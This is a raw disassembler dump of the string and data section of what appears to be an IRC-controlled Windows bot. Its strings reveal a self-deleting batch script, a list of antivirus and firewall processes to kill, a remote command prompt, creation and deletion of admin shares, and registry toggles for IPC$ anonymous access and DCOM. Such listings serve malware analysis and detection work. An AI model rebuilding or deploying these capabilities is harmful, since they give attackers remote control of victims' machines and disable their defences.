dword_4387E4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43898C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4389B4	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389D0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389D4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389D8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A44h, 438A3Ch,	2, 438A30h, 438A24h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00438A04o
aStop_0		db 'Stop',0             ; DATA XREF: ___:00438A00o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389F8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389F4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389ECo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389E8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389E0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389DCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389D4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389D0o
unk_438A98	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438ABC	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AE8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43903C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439060	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43907C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_4390C8	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_439128	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439180	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_4391A0	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43935C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439390	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439698	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_4396C4	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396F0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397F8
		dd offset dword_4397EC
		dd offset dword_4397E0
		dd offset dword_4397D4
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397AC
		dd offset dword_4397A0
		dd offset dword_439794
		dd offset dword_439788
		dd offset dword_43977C
		dd offset dword_43976C
		dd offset dword_439760
		dd offset dword_439750
dword_439750	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043974Co
dword_439760	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439748o
dword_43976C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439744o
dword_43977C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439740o
dword_439788	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043973Co
dword_439794	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439738o
dword_4397A0	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439734o
dword_4397AC	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439730o
dword_4397BC	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043972Co
dword_4397C8	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439728o
dword_4397D4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439724o
dword_4397E0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439720o
dword_4397EC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043971Co
dword_4397F8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439718o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439714o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439710o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043970Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439708o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439704o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439700o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396FCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396F8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396F4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396F0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_4398A8	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_4398CC	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439950	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_4399A8	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399DC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_439A00	dd offset dword_439A38	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 8
		dd offset dword_439A30
		align 10h
off_439A10	dd offset dword_439A2C	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_439A28
		dd offset dword_439A24
		dd offset dword_439A20
dword_439A20	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:00439A1Co
dword_439A24	dd 2444h		; DATA XREF: ___:00439A18o
dword_439A28	dd 5C3A43h		; DATA XREF: ___:00439A14o
dword_439A2C	dd 2443h		; DATA XREF: ___:off_439A10o
dword_439A30	dd 494D4441h, 244Eh	; DATA XREF: ___:00439A08o
dword_439A38	dd 24435049h, 0		; DATA XREF: ___:off_439A00o
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A70	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A98	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439AC4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AE8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439B14	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439BA4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BD8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439C28	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C58	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CD8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439D00	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439D20	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D5C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DD4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E48	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A060	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A13C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
